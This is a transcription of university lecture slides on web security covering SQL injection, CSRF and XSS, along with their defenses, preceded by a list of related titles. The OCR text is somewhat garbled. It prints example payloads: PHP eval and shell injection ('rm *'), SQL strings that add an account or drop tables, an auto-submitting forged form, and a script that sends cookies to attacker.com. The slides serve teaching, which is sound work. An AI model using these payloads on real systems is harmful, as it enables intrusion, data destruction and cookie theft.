Web Security Part 2. Professor Ristenpart h9p://www.cs.wisc.edu/~rist/ rist at cs dot wisc dot edu

Similar documents
Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Web Application Security

Web Application Security

NET 311 INFORMATION SECURITY

Web Application Security. * Original slides were prepared by John Mitchell

1. PASSWORD ATTACK 2. APPLICATION ATTACK

Information Security CS 526 Topic 8

Computer Security CS 426 Lecture 41

Information Security CS 526 Topic 11

Web Security: Web Application Security [continued]

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

Lecture 6: Web Security CS /17/2017

WEB SECURITY: XSS & CSRF

Web Security: Web Application Security [continued]

P2_L12 Web Security Page 1

Robust Defenses for Cross-Site Request Forgery

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Web basics: HTTP cookies

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Web basics: HTTP cookies

Robust Defenses for Cross-Site Request Forgery

Web Security II. Slides from M. Hicks, University of Maryland

CS 142 Winter Session Management. Dan Boneh

Computer and Network Security

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

CSCD 303 Essential Computer Security Fall 2018

CIS 4360 Secure Computer Systems XSS

Common Websites Security Issues. Ziv Perry

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

RKN 2015 Application Layer Short Summary

CIS 551 / TCOM 401 Computer and Network Security. Spring 2008 Lecture 24

Web Application Security. Philippe Bogaerts

Robust Defenses for Cross-Site Request Forgery Review

Web Security: XSS; Sessions

Security for the Web. Thanks to Dave Levin for some slides

CIS 5373 Systems Security

CSCD 303 Essential Computer Security Fall 2017

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

CS526: Information security

Application vulnerabilities and defences

Advanced Web Technology 10) XSS, CSRF and SQL Injection

Web 2.0 and AJAX Security. OWASP Montgomery. August 21 st, 2007

Web Security: Cross-Site Attacks

XSS and CSRF Nov 6, 2018

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

Some Facts Web 2.0/Ajax Security

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

The Hacker s Guide to XSS

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

Security for the Web. Thanks to Dave Levin for some slides

Web Security: Vulnerabilities & Attacks

CSC 482/582: Computer Security. Cross-Site Security

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Hacking Intranet Websites from the Outside

Security. CSC309 TA: Sukwon Oh

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

PHP Security. Kevin Schroeder Zend Technologies. Copyright 2007, Zend Technologies Inc.

CSCE 813 Internet Security Case Study II: XSS

last time: command injection

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Tutorial: Web Application Security

Web Security. Course: EPL 682 Name: Savvas Savva

Web Applica+on Security

CS 155 Project 2. Overview & Part A

Web Security, Part 2

CS 161 Computer Security

CHAPTER 8 CONCLUSION AND FUTURE ENHANCEMENTS

Presented By Rick Deacon DEFCON 15 August 3-5, 2007

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Chrome Extension Security Architecture

WHY CSRF WORKS. Implicit authentication by Web browsers

Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

s642 web security computer security adam everspaugh

CSE 127 Computer Security

Ruby on Rails Secure Coding Recommendations

PROBLEMS IN PRACTICE: THE WEB MICHAEL ROITZSCH

Assignment 6: Web Security

Web Security: Vulnerabilities & Attacks

Web Application Security

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

Web Attacks CMSC 414. September 25 & 27, 2017

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

Project 2: Web Security

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

Sichere Software vom Java-Entwickler

CSC 405 Computer Security. Web Security

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

CS Paul Krzyzanowski

Computer Security. 14. Web Security. Paul Krzyzanowski. Rutgers University. Spring 2018

SECURE CODING ESSENTIALS

Cross-Site Request Forgery (CSRF) Attack Lab

LECT 8 WEB SECURITY BROWSER SECURITY. Repetition Lect 7. WEB Security

Web Security IV: Cross-Site Attacks

Cross-Site Request Forgery

Network Security - ISA 656 Web Security

Transcription:

Web Security Part 2 CS642: Computer Security Professor Ristenpart h9p://www.cs.wisc.edu/~rist/ rist at cs dot wisc dot edu Liberal borrowing from Mitchell, Boneh, Stanford CS 155 University of Wisconsin CS 642

Web security part 2 SQL injecoon Cross- site scripong a9acks Cross- site request forgery University of Wisconsin CS 642

Browser security model Should be safe to visit an a9acker website Should be safe to visit sites simultaneously Should be safe to delegate content

Data from aggregator and validator of NVD-reported vulnerabilities

Top vulnerabilioes SQL injecoon insert malicious SQL commands to read / modify a database Cross- site request forgery (CSRF) site A uses credenoals for site B to do bad things Cross- site scripong (XSS) site A sends vicom client a script that abuses honest site B

Warmup: PHP vulnerabilioes PHP command eval( cmd_str ) executes string cmd_str as PHP code h9p://example.com/calc.php $in = $_GET[ exp']; eval('$ans = '. $in. ';'); What can a9acker do? h9p://example.com/calc.php?exp= 11 ; system( rm * ) Encode as a URL

Warmup: PHP command injecoon $email = $_POST[ email ] $subject = $_POST[ subject ] system( mail $email s $subject < /tmp/joinmynetwork ) h9p://example.com/sendemail.php What can a9acker do? h9p://example.com/sendmail.php? email = aboutogetowned@ownage.com & subject= foo < /usr/passwd; ls Encode as a URL

Plenty of other common problems with PHP File handling example.com/servsideinclude.php?i=file.html Global variables example.com/checkcreds.php? user= bob ; $auth=1; More surf the web for examples h9ps://www.owasp.org/index.php/php_top_5

SQL Internet Basic SQL commands: SQL database SELECT Company, Country FROM Customers WHERE Country <> 'USA' DROP TABLE Customers more: h9p://www.w3schools.com/sql/sql_syntax.asp

SQL Internet PHP- based SQL: SQL database $recipient = $_POST[ recipient ]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $rs = $db- >executequery($sql);

ASP example set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; What the developer expected to be sent to SQL: SELECT * FROM Users WHERE user='me AND pwd='1234'

set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; Input: user= OR 1=1 - - (URL encoded) - - tells SQL to ignore rest of line SELECT * FROM Users WHERE user= OR 1=1 - - AND Result: ok.eof false, so easy login

set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; Input: user= ; exec cmdshell net user badguy badpw /add SELECT * FROM Users WHERE user= ; exec Result: If SQL database running with correct permissions, then a9acker gets account on database server. (net command is Windows)

set ok = execute( "SELECT * FROM Users WHERE user=' " & form( user ) & " ' AND pwd=' " & form( pwd ) & ' ); if not ok.eof login success else fail; Input: user= ; DROP TABLE Users (URL encoded) SELECT * FROM Users WHERE user= ; DROP TABLE Users - - Result: Bye- bye customer informaoon

h9p://xkcd.com/327/

CardSystems breach 2005 ~43 million cards stolen No encrypoon of CCN s Visa/Mastercard stopped allowing them to process cards. They used a SQL injecqon atack, where a small snippet of code is inserted onto the database through the front end (browser page). Once inserted onto the server the code ran every four days. It gathered credit card data from the database, put it in a file (zipped to reduce size) and sent it to the hackers via FTP. From h9p://www.squidoo.com/ cardsystems- data- breach- case They got bought out by Pay by Touch in 2005 (probably cheap!) Pay By Touch shut down in 2008 (woops)

Lady Gaga s website On June 27, 2011, Lady Gaga's website was hacked by a group of US cyber a9ackers called SwagSec and thousands of her fans personal details were stolen from her website. The hackers took a content database dump from www.ladygaga.co.uk and a secoon of email, first name, and last name records were accessed. [43] According to an Imperva blog about the incident, a SQL injecqon vulnerability for her website was recently posted on a hacker forum website, where a user revealed the vulnerability to the rest of the hacker community. While no financial records were compromised, the blog implies that Lady Gaga fans are most likely receiving fraudulent email messages offering exclusive Lady Gaga merchandise, but instead contain malware.[44] h9p://en.wikipedia.org/wiki/sql_injecoon_a9ack Many more examples

PrevenOng SQL injecoon Don t build commands yourself Parameterized/prepared SQL commands Properly escape commands with \ ASP 1.1 example SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbconnection); cmd.parameters.add("@user", Request[ user ] ); cmd.parameters.add("@pwd", Request[ pwd ] ); cmd.executereader();

Cross- site request forgery (CSRF / XSRF) Server VicOm 4 1 establish session send forged request (w/ cookie) User VicOm 3 2 visit server (or iframe) receive malicious page A9ack Server

How CSRF works User s browser logged in to bank User s browser visits site containing: <form name=f acoon=h9p://bank.com/billpay.php> <input name=recipient value=badguy> </form> <script> document.f.submit(); </script> Browser sends Auth cookie to bank. Why? Cookie scoping rules

Form post with cookie Cookie: SessionID=523FA4cd2E User credentials

Login CSRF

CSRF Defenses Secret ValidaOon Token <input type=hidden value=23a3af01b> Referer ValidaOon Referer: http://www.facebook.com/ home.php Custom HTTP Header X- Requested- By: XMLHttpRequest

Secret validaoon tokens Include field with large random value or HMAC of a hidden value Goal: A9acker can t forge token, server validates it Why can t another site read the token value? Same origin policy

Referrer validaoon

Referrer validaoon Check referrer: Referrer = bank.com is ok Referrer = a9acker.com is NOT ok Referrer =??? Lenient policy : allow if not present Strict policy : disallow if not present more secure, but kills funcoonality

Referrer validaoon Referrer s o~en stripped, since they may leak informaoon! HTTPS to HTTP referrer is stripped Clients may strip referrers Network stripping of referrers (by organizaoon) Bugs in early browsers allowed Referrer spoofing

Custom headers Use XMLH9pRequest for all (important) requests API for performing requests from within scripts Google Web Toolkit: X- XSRF- Cookie header includes cookie as well Server verifies presence of header, otherwise reject Proves referrer had access to cookie Doesn t work across domains Requires all calls via XMLH9pRequest with authenocaoon data E.g.: Login CSRF means login happens over XMLH9pRequest

Cross- site scripong (XSS) Site A tricks client into running script that abuses honest site B Reflected (non- persistent) a9acks (e.g., links on malicious web pages) Stored (persistent) a9acks (e.g., Web forms with HTML)

Basic scenario: reflected XSS a9ack 2 5 1 visit web site receive malicious link send valuable data A9ack Server VicOm client 4 3 click on link echo user input VicOm Server

Example htp://vicqm.com/search.php? term = apple <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term]?> :... </BODY> </HTML> http://victim.com/search.php? term = <script> window.open( http://attacker.com?cookie = + document.cookie ) </script>

A9ack Server http://victim.com/search.php? term = <script> window.open( http://badguy.com?cookie = + document.cookie ) </script> Link clicked <html> Results for <script> window.open(http://attacker.com?... document.cookie...) </script> </html> VicOm Server

Stored XSS A9ack Server 4 steal valuable data 1 User VicOm 3 2 request content receive malicious script Inject malicious script Server VicOm

but most of all, Samy is my hero MySpace allows HTML content from users Strips many dangerous tags, strips any occurrence of javascript CSS allows embedded javascript <div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')"> Samy Kamkar used this (with a few more tricks) to build javascript worm that spread through MySpace - Add message above to profile - Add worm to profile - Within 20 hours: one million users run payload

Defending against XSS Input validaoon Never trust client- side data Only allow what you expect Remove/encode special characters (harder than it sounds) Output filtering / encoding Remove/encode special characters Allow only safe commands Client side defenses, HTTPOnly cookies, Taint mode (Perl), StaOc analysis of server code

Top vulnerabilioes SQL injecoon Cross- site request forgery (CSRF or XSRF) Cross- site scripong (XSS)